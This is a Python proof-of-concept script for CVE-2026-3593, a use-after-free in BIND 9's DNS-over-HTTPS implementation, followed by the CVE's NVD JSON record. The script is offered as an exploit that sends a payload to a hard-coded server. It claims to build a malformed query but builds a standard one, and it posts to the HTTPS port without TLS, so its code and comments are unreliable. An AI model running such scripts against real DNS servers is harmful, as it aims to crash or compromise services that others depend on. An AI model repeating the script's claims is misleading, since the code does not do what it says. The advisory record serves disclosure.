CVE-2026-3593

import socket import struct # Conceptual Proof of Concept for CVE-2026-3593 # This script attempts to trigger the Use-After-Free in BIND 9 DoH # by sending a specially crafted DNS query. TARGET_HOST = "192.168.1.100" TARGET_PORT = 443 def build_malformed_dns_query(): """Constructs a DNS query that may trigger the UAF condition.""" transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Query example.com query = b"\x03www\x07example\x03com\x00" query += struct.pack("!HH", 1, 1) # Type A, Class IN return header + query def send_exploit(): payload = build_malformed_dns_query() # Note: Real DoH requires HTTPS/TLS, this is a simplified concept # In a real exploit, the attacker would establish a TLS connection # and send the payload via HTTP/2 POST to /dns-query try: print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}") # This is a raw socket simulation s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) http_request = f"POST /dns-query HTTP/1.1\r\n" http_request += f"Host: {TARGET_HOST}\r\n" http_request += "Content-Type: application/dns-message\r\n" http_request += f"Content-Length: {len(payload)}\r\n" http_request += "\r\n" s.send(http_request.encode() + payload) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-3593", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:23.923", "lastModified": "2026-05-20T14:04:57.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free vulnerability exists within the DNS-over-HTTPS implementation.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.22, 9.21.0 through 9.21.21, and 9.20.9-S1 through 9.20.22-S1.\nBIND 9 versions 9.18.0 through 9.18.48 and 9.18.11-S1 through 9.18.48-S1 are NOT affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://downloads.isc.org/isc/bind9/9.20.23", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/bind9/9.21.22", "source": "[email protected]"}, {"url": "https://kb.isc.org/docs/cve-2026-3593", "source": "[email protected]"}]}}